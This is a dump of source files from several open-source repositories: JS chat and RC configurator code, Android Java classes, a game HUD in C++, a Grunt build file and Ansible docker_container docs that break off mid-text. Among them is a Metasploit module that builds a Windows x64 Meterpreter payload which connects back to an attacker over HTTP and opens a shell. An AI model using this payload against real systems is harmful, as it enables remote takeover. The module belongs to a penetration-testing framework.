|| this; } MessageChat.prototype.net = function () { var msg = this.enJSON(); var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric', hour: '2-digit', minute: '2-digit', second: '2-digit' }; return JSON.stringify({ type: TypeMessageChat[msg.type], date: (new Date(msg.date)).toLocaleString("fr-FR", options), de: msg.emetteur, à: msg.destinataire, contenu: msg.contenu }); }; return MessageChat; }(communication_1.Message)); exports.MessageChat = MessageChat; function creerMessageErreurConnexion(emetteur, messageErreur) { return new MessageChat({ "emetteur": emetteur, "destinataire": emetteur, "type": TypeMessageChat.ERREUR_CONNEXION, "contenu": messageErreur, "date": new Date() }); } exports.creerMessageErreurConnexion = creerMessageErreurConnexion; function creerMessageCommunication(emetteur, destinataire, texte) { return new MessageChat({ "emetteur": emetteur, "destinataire": destinataire, "type": TypeMessageChat.COM, "contenu": texte, "date": new Date() }); } exports.creerMessageCommunication = creerMessageCommunication; function creerMessageRetourErreur(original, codeErreur, messageErreur) { return new MessageChat({ "emetteur": original.enJSON().emetteur, "destinataire": original.enJSON().destinataire, "type": codeErreur, "contenu": messageErreur, "date": original.enJSON().date }); } exports.creerMessageRetourErreur = creerMessageRetourErreur; function creerMessageTransit(msg) { return new MessageChat({ "emetteur": msg.enJSON().emetteur, "destinataire": msg.enJSON().destinataire, "type": TypeMessageChat.TRANSIT, "contenu": msg.enJSON().contenu, "date": msg.enJSON().date }); } exports.creerMessageTransit = creerMessageTransit; function creerMessageAR(msg) { return new MessageChat({ "emetteur": msg.enJSON().emetteur, "destinataire": msg.enJSON().destinataire, "type": TypeMessageChat.AR, "contenu": msg.enJSON().contenu, "date": msg.enJSON().date }); } exports.creerMessageAR = creerMessageAR; var SommetChat = (function (_super) { __extends(SommetChat, _super); function SommetChat() { return _super !== null && _super.apply(this, arguments) || this; } SommetChat.prototype.net = function () { var msg = this.enJSON(); return JSON.stringify({ nom: msg.pseudo + "(" + msg.id + ")" }); }; return SommetChat; }(communication_1.Sommet)); exports.SommetChat = SommetChat; function fabriqueSommetChat(s) { return new SommetChat(s); } exports.fabriqueSommetChat = fabriqueSommetChat; function creerAnneauChat(noms) { var assembleur = new communication_1.AssemblageReseauEnAnneau(noms.length); noms.forEach(function (nom, i, tab) { var s = new SommetChat({ id: "id-" + i, pseudo: tab[i] }); assembleur.ajouterSommet(s); }); return assembleur.assembler(); } exports.creerAnneauChat = creerAnneauChat; //# sourceMappingURL=chat.js.map
gpl-3.0
remspoor/openLRSng-configurator
js/data_storage.js
6310
'use strict'; var CONFIGURATOR = { 'releaseDate': 1456739663000, // 2016.02.29 - new Date().getTime() or "date +%s"000 'firmwareVersionEmbedded': [3, 8, 8], // version of firmware that ships with the app, dont forget to also update initialize_configuration_objects switch ! 'firmwareVersionLive': 0, // version number in single uint16 [8bit major][4bit][4bit] fetched from mcu 'activeProfile': 0, // currently active profile on tx module (each profile can correspond to different BIND_DATA) 'defaultProfile': 0, // current default profile setting on tx module 'connectingToRX': false, // indicates if TX is trying to connect to RX 'readOnly': false // indicates if data can be saved to eeprom }; var STRUCT_PATTERN, TX_CONFIG, RX_CONFIG, BIND_DATA; // live PPM data var PPM = { ppmAge: 0, channels: Array(16) }; var RX_SPECIAL_PINS = []; var NUMBER_OF_OUTPUTS_ON_RX = 0; var RX_FAILSAFE_VALUES = []; // pin_map "helper" object (related to pin/port map of specific units) var PIN_MAP = { 0x20: 'PPM', 0x21: 'RSSI', 0x22: 'SDA', 0x23: 'SCL', 0x24: 'RXD', 0x25: 'TXD', 0x26: 'ANALOG', 0x27: 'Packet loss - Beeper', // LBEEP 0x28: 'Spektrum satellite', // spektrum satellite output 0x29: 'SBUS', 0x2A: 'SUMD', 0x2B: 'Link Loss Indication' }; // 0 = default 433 // 1 = RFMXX_868 // 2 = RFMXX_915 var frequencyLimits = { min: null, max: null, minBeacon: null, maxBeacon: null }; function initializeFrequencyLimits(rfmType) { switch (rfmType) { case 0: frequencyLimits.min = 413000000; frequencyLimits.max = 463000000; frequencyLimits.minBeacon = 413000000; frequencyLimits.maxBeacon = 463000000; break; case 1: frequencyLimits.min = 848000000; frequencyLimits.max = 888000000; frequencyLimits.minBeacon = 413000000; frequencyLimits.maxBeacon = 888000000; break; case 2: frequencyLimits.min = 895000000; frequencyLimits.max = 935000000; frequencyLimits.minBeacon = 413000000; frequencyLimits.maxBeacon = 935000000; break; default: frequencyLimits.min = 0; frequencyLimits.max = 0; frequencyLimits.minBeacon = 0; frequencyLimits.maxBeacon = 0; } } function initialize_configuration_objects(version) { switch (version >> 4) { case 0x38: case 0x37: CONFIGURATOR.readOnly = false; var TX = [ {'name': 'rfm_type', 'type': 'u8'}, {'name': 'max_frequency', 'type': 'u32'}, {'name': 'flags', 'type': 'u32'}, {'name': 'chmap', 'type': 'array', 'of': 'u8', 'length': 16} ]; var BIND = [ {'name': 'version', 'type': 'u8'}, {'name': 'serial_baudrate', 'type': 'u32'}, {'name': 'rf_frequency', 'type': 'u32'}, {'name': 'rf_magic', 'type': 'u32'}, {'name': 'rf_power', 'type': 'u8'}, {'name': 'rf_channel_spacing', 'type': 'u8'}, {'name': 'hopchannel', 'type': 'array', 'of': 'u8', 'length': 24}, {'name': 'modem_params', 'type': 'u8'}, {'name': 'flags', 'type': 'u8'} ]; var RX = [ {'name': 'rx_type', 'type': 'u8'}, {'name': 'pinMapping', 'type': 'array', 'of': 'u8', 'length': 13}, {'name': 'flags', 'type': 'u8'}, {'name': 'RSSIpwm', 'type': 'u8'}, {'name': 'beacon_frequency', 'type': 'u32'}, {'name': 'beacon_deadtime', 'type': 'u8'}, {'name': 'beacon_interval', 'type': 'u8'}, {'name': 'minsync', 'type': 'u16'}, {'name': 'failsafe_delay', 'type': 'u8'}, {'name': 'ppmStopDelay', 'type': 'u8'}, {'name': 'pwmStopDelay', 'type': 'u8'} ]; break; case 0x36: CONFIGURATOR.readOnly = true; var TX = [ {'name': 'rfm_type', 'type': 'u8'}, {'name': 'max_frequency', 'type': 'u32'}, {'name': 'flags', 'type': 'u32'} ]; var BIND = [ {'name': 'version', 'type': 'u8'}, {'name': 'serial_baudrate', 'type': 'u32'}, {'name': 'rf_frequency', 'type': 'u32'}, {'name': 'rf_magic', 'type': 'u32'}, {'name': 'rf_power', 'type': 'u8'}, {'name': 'rf_channel_spacing', 'type': 'u8'}, {'name': 'hopchannel', 'type': 'array', 'of': 'u8', 'length': 24}, {'name': 'modem_params', 'type': 'u8'}, {'name': 'flags', 'type': 'u8'} ]; var RX = [ {'name': 'rx_type', 'type': 'u8'}, {'name': 'pinMapping', 'type': 'array', 'of': 'u8', 'length': 13}, {'name': 'flags', 'type': 'u8'}, {'name': 'RSSIpwm', 'type': 'u8'}, {'name': 'beacon_frequency', 'type': 'u32'}, {'name': 'beacon_deadtime', 'type': 'u8'}, {'name': 'beacon_interval', 'type': 'u8'}, {'name': 'minsync', 'type': 'u16'}, {'name': 'failsafe_delay', 'type': 'u8'}, {'name': 'ppmStopDelay', 'type': 'u8'}, {'name': 'pwmStopDelay', 'type': 'u8'} ]; break; default: return false; } STRUCT_PATTERN = {'TX_CONFIG': TX, 'RX_CONFIG': RX, 'BIND_DATA': BIND}; if (CONFIGURATOR.readOnly) { GUI.log(chrome.i18n.getMessage('running_in_compatibility_mode')); } return true; } function read_firmware_version(num) { var data = {'str': undefined, 'first': 0, 'second': 0, 'third': 0}; data.first = num >> 8; data.str = data.first + '.'; data.second = ((num >> 4) & 0x0f); data.str += data.second + '.'; data.third = num & 0x0f; data.str += data.third; return data; }
gpl-3.0
cSploit/android.MSF
modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb
2014
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/payload/transport_config' require 'msf/core/handler/reverse_http' require 'msf/core/payload/windows/x64/meterpreter_loader' require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' require 'rex/payloads/meterpreter/config' module Metasploit4 CachedSize = 1107014 include Msf::Payload::TransportConfig include Msf::Payload::Windows include Msf::Payload::Single include Msf::Payload::Windows::MeterpreterLoader_x64 include Msf::Sessions::MeterpreterOptions def initialize(info = {}) super(merge_info(info, 'Name' => 'Windows Meterpreter Shell, Reverse HTTP Inline (x64)', 'Description' => 'Connect back to attacker and spawn a Meterpreter shell', 'Author' => [ 'OJ Reeves' ], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X64, 'Handler' => Msf::Handler::ReverseHttp, 'Session' => Msf::Sessions::Meterpreter_x64_Win )) register_options([ OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]), ], self.class) end def generate stage_meterpreter(true) + generate_config end def generate_config(opts={}) opts[:uuid] ||= generate_payload_uuid opts[:stageless] = true # create the configuration block config_opts = { arch: opts[:uuid].arch, exitfunk: datastore['EXITFUNC'], expiration: datastore['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], transports: [transport_config_reverse_http(opts)], extensions: (datastore['EXTENSIONS'] || '').split(',') } # create the configuration instance based off the parameters config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it config.to_b end end
gpl-3.0
mikel-egana-aranguren/SADI-Galaxy-Docker
galaxy-dist/static/style/Gruntfile.js
2103
/* jshint node: true */ module.exports = function(grunt) { "use strict"; var theme = grunt.option( 'theme', 'blue' ); var out = 'blue'; var lessFiles = [ 'base', 'autocomplete_tagging', 'embed_item', 'iphone', 'masthead', 'library', 'trackster', 'circster', 'jstree' ]; var _ = grunt.util._; var fmt = _.sprintf; // Project configuration. grunt.initConfig({ // Metadata. pkg: grunt.file.readJSON('package.json'), // Create sprite images and .less files sprite : { options: { algorithm: 'binary-tree' }, 'history-buttons': { src: '../images/history-buttons/*.png', destImg: fmt( '%s/sprite-history-buttons.png', out ), destCSS: fmt( '%s/sprite-history-buttons.less', out ) }, 'history-states': { src: '../images/history-states/*.png', destImg: fmt( '%s/sprite-history-states.png', out ), destCSS: fmt( '%s/sprite-history-states.less', out ) }, 'fugue': { src: '../images/fugue/*.png', destImg: fmt( '%s/sprite-fugue.png', out ), destCSS: fmt( '%s/sprite-fugue.less', out ) } }, // Compile less files less: { options: { compress: true, paths: [ out ] }, dist: { files: _.reduce( lessFiles, function( d, s ) { d[ fmt( '%s/%s.css', out, s ) ] = [ fmt( 'src/less/%s.less', s ) ]; return d; }, {} ) } }, // remove tmp files clean: { clean : [ fmt('%s/tmp-site-config.less', out) ] } }); // Write theme variable for less grunt.registerTask('less-site-config', 'Write site configuration for less', function() { grunt.file.write( fmt('%s/tmp-site-config.less', out), fmt( "@theme-name: %s;", theme ) ); }); // These plugins provide necessary tasks. grunt.loadNpmTasks('grunt-contrib-less'); grunt.loadNpmTasks('grunt-spritesmith'); grunt.loadNpmTasks('grunt-contrib-clean'); // Default task. grunt.registerTask('default', ['sprite', 'less-site-config', 'less', 'clean']); };
gpl-3.0
HabitatMap/AirCastingAndroidClient
src/main/java/pl/llp/aircasting/screens/common/base/ActivityWithProgress.java
394
package pl.llp.aircasting.screens.common.base; import android.app.ProgressDialog; /** * Created by IntelliJ IDEA. * User: obrok * Date: 1/16/12 * Time: 12:03 PM */ public interface ActivityWithProgress { public static final int SPINNER_DIALOG = 6355; public ProgressDialog showProgressDialog(int progressStyle, SimpleProgressTask task); public void hideProgressDialog(); }
gpl-3.0
MythTV-Clients/MythTV-Android-Frontend
src/org/mythtv/client/ui/preferences/PlaybackProfileEditor.java
9195
/** * This file is part of MythTV Android Frontend * * MythTV Android Frontend is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * MythTV Android Frontend is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with MythTV Android Frontend. If not, see <http://www.gnu.org/licenses/>. * * This software can be found at <https://github.com/MythTV-Clients/MythTV-Android-Frontend/> */ package org.mythtv.client.ui.preferences; import org.mythtv.R; import org.mythtv.client.ui.AbstractMythtvFragmentActivity; import org.mythtv.client.ui.preferences.LocationProfile.LocationType; import org.mythtv.db.preferences.PlaybackProfileConstants; import org.mythtv.db.preferences.PlaybackProfileDaoHelper; import android.app.AlertDialog; import android.content.DialogInterface; import android.os.Bundle; import android.util.Log; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.EditText; /** * @author Daniel Frey * */ public class PlaybackProfileEditor extends AbstractMythtvFragmentActivity { private static final String TAG = PlaybackProfileEditor.class.getSimpleName(); private PlaybackProfileDaoHelper mPlaybackProfileDaoHelper = PlaybackProfileDaoHelper.getInstance(); private PlaybackProfile profile; @Override public void onCreate( Bundle savedInstanceState ) { Log.v( TAG, "onCreate : enter" ); super.onCreate( savedInstanceState ); setContentView( this.getLayoutInflater().inflate( R.layout.preference_playback_profile_editor, null ) ); setupSaveButtonEvent( R.id.btnPreferencePlaybackProfileSave ); setupCancelButtonEvent( R.id.btnPreferencePlaybackProfileCancel ); int id = getIntent().getIntExtra( PlaybackProfileConstants._ID, -1 ); profile = mPlaybackProfileDaoHelper.findOne( this, (long) id ); if( null == profile ) { profile = new PlaybackProfile(); profile.setId( id ); profile.setType( LocationType.valueOf( getIntent().getStringExtra( PlaybackProfileConstants.FIELD_TYPE ) ) ); profile.setName( getIntent().getStringExtra( PlaybackProfileConstants.FIELD_NAME ) ); profile.setWidth( getIntent().getIntExtra( PlaybackProfileConstants.FIELD_WIDTH, -1 ) ); profile.setHeight( getIntent().getIntExtra( PlaybackProfileConstants.FIELD_HEIGHT, -1 ) ); profile.setVideoBitrate( getIntent().getIntExtra( PlaybackProfileConstants.FIELD_BITRATE, -1 ) ); profile.setAudioBitrate( getIntent().getIntExtra( PlaybackProfileConstants.FIELD_AUDIO_BITRATE, -1 ) ); profile.setAudioSampleRate( getIntent().getIntExtra( PlaybackProfileConstants.FIELD_SAMPLE_RATE, -1 ) ); profile.setSelected( 0 != getIntent().getIntExtra( PlaybackProfileConstants.FIELD_SELECTED, 0 ) ); } setUiFromPlaybackProfile(); Log.v( TAG, "onCreate : exit" ); } // internal helpers private void setUiFromPlaybackProfile() { Log.v( TAG, "setUiFromPlaybackProfile : enter" ); setName( profile.getName() ); setWidth( "" + profile.getWidth() ); setHeight( "" + profile.getHeight() ); setVideoBitrate( "" + profile.getVideoBitrate() ); setAudioBitrate( "" + profile.getAudioBitrate() ); setSampleRate( "" + profile.getAudioSampleRate() ); Log.v( TAG, "setUiFromPlaybackProfile : exit" ); } private final String getName() { return getTextBoxText( R.id.preference_playback_profile_edit_text_name ); } private final void setName( String name ) { setTextBoxText( R.id.preference_playback_profile_edit_text_name, name ); } private final String getWidth() { return getTextBoxText( R.id.preference_playback_profile_edit_text_width ); } private final void setWidth( String width ) { setTextBoxText( R.id.preference_playback_profile_edit_text_width, width ); } private final String getHeight() { return getTextBoxText( R.id.preference_playback_profile_edit_text_height ); } private final void setHeight( String height ) { setTextBoxText( R.id.preference_playback_profile_edit_text_height, height ); } private final String getVideoBitrate() { return getTextBoxText( R.id.preference_playback_profile_edit_text_video_bitrate ); } private final void setVideoBitrate( String videoBitrate ) { setTextBoxText( R.id.preference_playback_profile_edit_text_video_bitrate, videoBitrate ); } private final String getAudioBitrate() { return getTextBoxText( R.id.preference_playback_profile_edit_text_audio_bitrate ); } private final void setAudioBitrate( String audioBitrate ) { setTextBoxText( R.id.preference_playback_profile_edit_text_audio_bitrate, audioBitrate ); } private final String getSampleRate() { return getTextBoxText( R.id.preference_playback_profile_edit_text_sample_rate ); } private final void setSampleRate( String sampleRate ) { setTextBoxText( R.id.preference_playback_profile_edit_text_sample_rate, sampleRate ); } private final String getTextBoxText( int textBoxViewId ) { final EditText text = (EditText) findViewById( textBoxViewId ); return text.getText().toString(); } private final void setTextBoxText( int textBoxViewId, String text ) { final EditText textBox = (EditText) findViewById( textBoxViewId ); textBox.setText( text ); } private final void setupSaveButtonEvent( int buttonViewId ) { Log.v( TAG, "setupSaveButtonEvent : enter" ); final Button button = (Button) this.findViewById( buttonViewId ); button.setOnClickListener( new OnClickListener() { public void onClick( View v ) { Log.v( TAG, "setupSaveButtonEvent.onClick : enter" ); saveAndExit(); Log.v( TAG, "setupSaveButtonEvent.onClick : exit" ); } }); Log.v( TAG, "setupSaveButtonEvent : exit" ); } private final void setupCancelButtonEvent( int buttonViewId ) { Log.v( TAG, "setupCancelButtonEvent : enter" ); final Button button = (Button) this.findViewById( buttonViewId ); button.setOnClickListener( new OnClickListener() { public void onClick( View v ) { Log.v( TAG, "setupCancelButtonEvent.onClick : enter" ); finish(); Log.v( TAG, "setupCancelButtonEvent.onClick : exit" ); } }); Log.v( TAG, "setupCancelButtonEvent : enter" ); } private void saveAndExit() { Log.v( TAG, "saveAndExit : enter" ); if( save() ) { Log.v( TAG, "saveAndExit : save completed successfully" ); finish(); } Log.v( TAG, "saveAndExit : exit" ); } private boolean save() { Log.v( TAG, "save : enter" ); boolean retVal = false; if( null == profile ) { Log.v( TAG, "save : creating new Playback Profile" ); profile = new PlaybackProfile(); } profile.setName( getName() ); profile.setWidth( Integer.parseInt( getWidth() ) ); profile.setHeight( Integer.parseInt( getHeight() ) ); profile.setVideoBitrate( Integer.parseInt( getVideoBitrate() ) ); profile.setAudioBitrate( Integer.parseInt( getAudioBitrate() ) ); profile.setAudioSampleRate( Integer.parseInt( getSampleRate() ) ); AlertDialog.Builder builder = new AlertDialog.Builder( this ); builder.setTitle( R.string.preference_edit_error_dialog_title ); builder.setNeutralButton( R.string.btn_ok, new DialogInterface.OnClickListener() { public void onClick( DialogInterface dialog, int which ) { } }); if( "".equals( profile.getName().trim() ) ) { Log.v( TAG, "save : name contains errors" ); builder.setMessage( R.string.preference_playback_profile_text_view_name_error_invalid ); builder.show(); } else if( profile.getWidth() < 1 ) { Log.v( TAG, "save : width contains errors" ); builder.setMessage( R.string.preference_playback_profile_text_view_width_error_invalid ); builder.show(); } else if( profile.getHeight() < 1 ) { Log.v( TAG, "save : height contains errors" ); builder.setMessage( R.string.preference_playback_profile_text_view_height_error_invalid ); builder.show(); } else if( profile.getVideoBitrate() < 1 ) { Log.v( TAG, "save : video bitrate contains errors" ); builder.setMessage( R.string.preference_playback_profile_text_view_video_bitrate_error_invalid ); builder.show(); } else if( profile.getAudioBitrate() < 1 ) { Log.v( TAG, "save : audio bitrate contains errors" ); builder.setMessage( R.string.preference_playback_profile_text_view_audio_bitrate_error_invalid ); builder.show(); } else if( profile.getAudioSampleRate() < 1 ) { Log.v( TAG, "save : sample rate contains errors" ); builder.setMessage( R.string.preference_playback_profile_text_view_sample_rate_error_invalid ); builder.show(); } else { Log.v( TAG, "save : proceeding to save" ); if( profile.getId() != -1 ) { Log.v( TAG, "save : updating existing playback profile" ); retVal = mPlaybackProfileDaoHelper.save( this, profile ); } } Log.v( TAG, "save : exit" ); return retVal; } }
gpl-3.0
DeadPixelsSociety/SonOfMars
src/local/Hud.cc
4307
/* * Son of Mars * * Copyright (c) 2015-2016, Team Son of Mars * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include "Hud.h" #include <cassert> #include <stdlib.h> #include "local/config.h" Hud::Hud(game::EventManager& events, game::ResourceManager& resources,game::WindowGeometry& geometry) : m_geometry(geometry) , m_timeElapsed(0.0f) , m_font(nullptr) , m_characterMaxHealth(0) , m_characterHealth(0) , m_characterGold(0) , m_characterDamage(0) , m_characterArmor(0) , m_characterRegenValue(0) , m_characterRegenRate(0) , m_display(false) { m_font=resources.getFont("GRECOromanLubedWrestling.ttf"); assert(m_font!=nullptr); // Register event events.registerHandler<CharacterStatsEvent>(&Hud::onCharacterStatsEvent, this); } Hud::~Hud() { } void Hud::update(const float dt) { } void Hud::render(sf::RenderWindow& window) { if(m_display==true) { sf::RectangleShape baseHud; baseHud.setFillColor(sf::Color(0,0,0,128)); baseHud.setPosition(sf::Vector2f(0.0f,0.0f)); baseHud.setSize({m_geometry.getXFromRight(0),m_geometry.getYRatio(0.05f,0.0f)}); sf::Text strHealth; //Set the characteristics of strHealth strHealth.setFont(*m_font); strHealth.setCharacterSize(25); strHealth.setColor(sf::Color::Red); strHealth.setPosition(0.0f,0.0f); strHealth.setString("Health: "+std::to_string(m_characterHealth)+"/"+std::to_string(m_characterMaxHealth)+" (A)"); sf::Text strGold; //Set the characteristics of strGold strGold.setFont(*m_font); strGold.setCharacterSize(25); strGold.setColor(sf::Color::Green); strGold.setPosition(250.0f,0.0f); strGold.setString("Sesterces: "+std::to_string(m_characterGold)); sf::Text strDamage; //Set the characteristics of strDamage strDamage.setFont(*m_font); strDamage.setCharacterSize(25); strDamage.setColor(sf::Color::Blue); strDamage.setPosition(400.0f,0.0f); strDamage.setString("Damages: "+std::to_string(m_characterDamage)+" (E)"); sf::Text strArmor; //Set the characteristics of strDamage strArmor.setFont(*m_font); strArmor.setCharacterSize(25); strArmor.setColor(sf::Color::White); strArmor.setPosition(600.0f,0.0f); strArmor.setString("Armor: "+std::to_string(m_characterArmor)); sf::Text strRegen; //Set the characteristics of strRegen strRegen.setFont(*m_font); strRegen.setCharacterSize(25); strRegen.setColor(sf::Color::Cyan); strRegen.setPosition(720.0f,0.0f); strRegen.setString("Regeneration: "+std::to_string(m_characterRegenValue)+" over "+std::to_string(m_characterRegenRate)+" seconds (R)"); window.draw(baseHud); window.draw(strHealth); window.draw(strGold); window.draw(strDamage); window.draw(strArmor); window.draw(strRegen); } } game::EventStatus Hud::onCharacterStatsEvent(game::EventType type, game::Event *event) { auto statsEvent = static_cast<CharacterStatsEvent *>(event); m_characterHealth = statsEvent->characterHealth; m_characterMaxHealth = statsEvent->characterMaxHealth; m_characterGold = statsEvent->characterGold; m_characterDamage = statsEvent->characterDamage; m_characterArmor = statsEvent->characterArmor; m_characterRegenValue = statsEvent->characterRegenValue; m_characterRegenRate = statsEvent->characterRegenRate; return game::EventStatus::KEEP; } void Hud::switchDisplay() { if(m_display==true) { m_display=false; } else { m_display=true; } }
gpl-3.0
Lujeni/ansible
lib/ansible/modules/cloud/docker/docker_container.py
143393
#!/usr/bin/python # # Copyright 2016 Red Hat | Ansible # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = ''' --- module: docker_container short_description: manage docker containers description: - Manage the life cycle of docker containers. - Supports check mode. Run with C(--check) and C(--diff) to view config difference and list of actions to be taken. version_added: "2.1" notes: - For most config changes, the container needs to be recreated, i.e. the existing container has to be destroyed and a new one created. This can cause unexpected data loss and downtime. You can use the I(comparisons) option to prevent this. - If the module needs to recreate the container, it will only use the options provided to the module to create the new container (except I(image)). Therefore, always specify *all* options relevant to the container. - When I(restart) is set to C(true), the module will only restart the container if no config changes are detected. Please note that several options have default values; if the container to be restarted uses different values for these options, it will be recreated instead. The options with default values which can cause this are I(auto_remove), I(detach), I(init), I(interactive), I(memory), I(paused), I(privileged), I(read_only) and I(tty). This behavior can be changed by setting I(container_default_behavior) to C(no_defaults), which will be the default value from Ansible 2.14 on. options: auto_remove: description: - Enable auto-removal of the container on daemon side when the container's process exits. - If I(container_default_behavior) is set to C(compatiblity) (the default value), this option has a default of C(no). type: bool version_added: "2.4" blkio_weight: description: - Block IO (relative weight), between 10 and 1000. type: int capabilities: description: - List of capabilities to add to the container. type: list elements: str cap_drop: description: - List of capabilities to drop from the container. type: list elements: str version_added: "2.7" cleanup: description: - Use with I(detach=false) to remove the container after successful execution. type: bool default: no version_added: "2.2" command: description: - Command to execute when the container starts. A command may be either a string or a list. - Prior to version 2.4, strings were split on commas. type: raw comparisons: description: - Allows to specify how properties of existing containers are compared with module options to decide whether the container should be recreated / updated or not. - Only options which correspond to the state of a container as handled by the Docker daemon can be specified, as well as C(networks). - Must be a dictionary specifying for an option one of the keys C(strict), C(ignore) and C(allow_more_present). - If C(strict) is specified, values are tested for equality, and changes always result in updating or restarting. If C(ignore) is specified, changes are ignored. - C(allow_more_present) is allowed only for lists, sets and dicts. If it is specified for lists or sets, the container will only be updated or restarted if the module option contains a value which is not present in the container's options. If the option is specified for a dict, the container will only be updated or restarted if the module option contains a key which isn't present in the container's option, or if the value of a key present differs. - The wildcard option C(*) can be used to set one of the default values C(strict) or C(ignore) to *all* comparisons which are not explicitly set to other values. - See the examples for details. type: dict version_added: "2.8" container_default_behavior: description: - Various module options used to have default values. This causes problems with containers which use different values for these options. - The default value is C(compatibility), which will ensure that the default values are used when the values are not explicitly specified by the user. - From Ansible 2.14 on, the default value will switch to C(no_defaults). To avoid deprecation warnings, please set I(container_default_behavior) to an explicit value. - This affects the I(auto_remove), I(detach), I(init), I(interactive), I(memory), I(paused), I(privileged), I(read_only) and I(tty) options. type: str choices: - compatibility - no_defaults version_added: "2.10" cpu_period: description: - Limit CPU CFS (Completely Fair Scheduler) period. - See I(cpus) for an easier to use alternative. type: int cpu_quota: description: - Limit CPU CFS (Completely Fair Scheduler) quota. - See I(cpus) for an easier to use alternative. type: int cpus: description: - Specify how much of the available CPU resources a container can use. - A value of C(1.5) means that at most one and a half CPU (core) will be used. type: float version_added: '2.10' cpuset_cpus: description: - CPUs in which to allow execution C(1,3) or C(1-3). type: str cpuset_mems: description: - Memory nodes (MEMs) in which to allow execution C(0-3) or C(0,1). type: str cpu_shares: description: - CPU shares (relative weight). type: int detach: description: - Enable detached mode to leave the container running in background. - If disabled, the task will reflect the status of the container run (failed if the command failed). - If I(container_default_behavior) is set to C(compatiblity) (the default value), this option has a default of C(yes). type: bool devices: description: - List of host device bindings to add to the container. - "Each binding is a mapping expressed in the format C(<path_on_host>:<path_in_container>:<cgroup_permissions>)." type: list elements: str device_read_bps: description: - "List of device path and read rate (bytes per second) from device." type: list elements: dict suboptions: path: description: - Device path in the container. type: str required: yes rate: description: - "Device read limit in format C(<number>[<unit>])." - "Number is a positive integer. Unit can be one of C(B) (byte), C(K) (kibibyte, 1024B), C(M) (mebibyte), C(G) (gibibyte), C(T) (tebibyte), or C(P) (pebibyte)." - "Omitting the unit defaults to bytes." type: str required: yes version_added: "2.8" device_write_bps: description: - "List of device and write rate (bytes per second) to device." type: list elements: dict suboptions: path: description: - Device path in the container. type: str required: yes rate: description: - "Device read limit in format C(<number>[<unit>])." - "Number is a positive integer. Unit can be one of C(B) (byte), C(K) (kibibyte, 1024B), C(M) (mebibyte), C(G) (gibibyte), C(T) (tebibyte), or C(P) (pebibyte)." - "Omitting the unit defaults to bytes." type: str required: yes version_added: "2.8" device_read_iops: description: - "List of device and read rate (IO per second) from device." type: list elements: dict suboptions: path: description: - Device path in the container. type: str required: yes rate: description: - "Device read limit." - "Must be a positive integer." type: int required: yes version_added: "2.8" device_write_iops: description: - "List of device and write rate (IO per second) to device." type: list elements: dict suboptions: path: description: - Device path in the container. type: str required: yes rate: description: - "Device read limit." - "Must be a positive integer." type: int required: yes version_added: "2.8" dns_opts: description: - List of DNS options. type: list elements: str dns_servers: description: - List of custom DNS servers. type: list elements: str dns_search_domains: description: - List of custom DNS search domains. type: list elements: str domainname: description: - Container domainname. type: str version_added: "2.5" env: description: - Dictionary of key,value pairs. - Values which might be parsed as numbers, booleans or other types by the YAML parser must be quoted (e.g. C("true")) in order to avoid data loss. type: dict env_file: description: - Path to a file, present on the target, containing environment variables I(FOO=BAR). - If variable also present in I(env), then the I(env) value will override. type: path version_added: "2.2" entrypoint: description: - Command that overwrites the default C(ENTRYPOINT) of the image. type: list elements: str etc_hosts: description: - Dict of host-to-IP mappings, where each host name is a key in the dictionary. Each host name will be added to the container's C(/etc/hosts) file. type: dict exposed_ports: description: - List of additional container ports which informs Docker that the container listens on the specified network ports at runtime. - If the port is already exposed using C(EXPOSE) in a Dockerfile, it does not need to be exposed again. type: list elements: str aliases: - exposed - expose force_kill: description: - Use the kill command when stopping a running container. type: bool default: no aliases: - forcekill groups: description: - List of additional group names and/or IDs that the container process will run as. type: list elements: str healthcheck: description: - Configure a check that is run to determine whether or not containers for this service are "healthy". - "See the docs for the L(HEALTHCHECK Dockerfile instruction,https://docs.docker.com/engine/reference/builder/#healthcheck) for details on how healthchecks work." - "I(interval), I(timeout) and I(start_period) are specified as durations. They accept duration as a string in a format that look like: C(5h34m56s), C(1m30s) etc. The supported units are C(us), C(ms), C(s), C(m) and C(h)." type: dict suboptions: test: description: - Command to run to check health. - Must be either a string or a list. If it is a list, the first item must be one of C(NONE), C(CMD) or C(CMD-SHELL). type: raw interval: description: - Time between running the check. - The default used by the Docker daemon is C(30s). type: str timeout: description: - Maximum time to allow one check to run. - The default used by the Docker daemon is C(30s). type: str retries: description: - Consecutive number of failures needed to report unhealthy. - The default used by the Docker daemon is C(3). type: int start_period: description: - Start period for the container to initialize before starting health-retries countdown. - The default used by the Docker daemon is C(0s). type: str version_added: "2.8" hostname: description: - The container's hostname. type: str ignore_image: description: - When I(state) is C(present) or C(started), the module compares the configuration of an existing container to requested configuration. The evaluation includes the image version. If the image version in the registry does not match the container, the container will be recreated. You can stop this behavior by setting I(ignore_image) to C(True). - "*Warning:* This option is ignored if C(image: ignore) or C(*: ignore) is specified in the I(comparisons) option." type: bool default: no version_added: "2.2" image: description: - Repository path and tag used 